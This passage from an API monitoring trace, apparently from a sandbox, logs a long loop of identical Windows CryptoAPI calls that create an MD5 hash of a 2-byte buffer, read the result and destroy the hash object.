	[0086.356] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.356] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.356] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.356] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.356] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.356] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.357] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.357] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.357] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.357] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.357] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.357] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.357] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.357] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.357] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.357] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.357] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.357] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.357] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.357] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.357] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.358] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.358] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.358] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.358] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.358] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.358] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.358] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.358] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.358] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.358] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.358] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.358] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.358] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.358] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.358] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.358] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.359] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.359] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.359] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.359] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.359] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.359] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.359] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.359] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.359] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.359] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.359] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.359] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.359] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.360] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.360] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.360] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.360] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.360] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.360] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.360] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.360] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.360] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.360] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.360] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.360] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.360] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.361] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.361] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.361] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.361] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.361] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.361] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.361] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.361] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.361] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.361] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.361] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.361] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.361] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.362] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.362] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.362] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.362] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.362] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.362] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.362] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.362] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.362] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.362] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.362] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.362] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.362] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.362] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.362] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.363] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.363] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.363] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.363] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.363] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.363] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.363] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.363] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.363] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.363] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.363] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.363] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.363] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.363] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.363] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.364] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.364] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.364] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.364] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.364] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.364] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.364] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.364] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.364] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.364] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.364] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.364] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.364] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.364] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.365] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.365] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.365] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.365] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.365] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.365] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.365] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.365] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.365] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.365] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.365] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.365] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.365] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.365] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.365] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.366] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.366] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.366] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.366] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.366] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.366] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.366] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.366] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.366] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.366] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.366] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.366] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.366] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.367] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.367] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.367] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.367] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.367] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.367] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.367] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.367] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.367] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.367] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.367] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.367] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.367] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.367] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.367] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.367] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.368] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.368] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.368] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.368] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.368] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.368] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.368] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.368] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.368] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.368] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.368] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.368] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.368] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.368] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.368] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.369] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.369] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.369] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.369] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.369] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.369] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.369] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.369] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.369] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.369] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.369] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.369] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.369] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.369] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.370] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.370] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.370] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.370] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.370] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.370] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.370] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.370] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.370] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.370] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.370] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.370] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.370] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.371] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.371] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
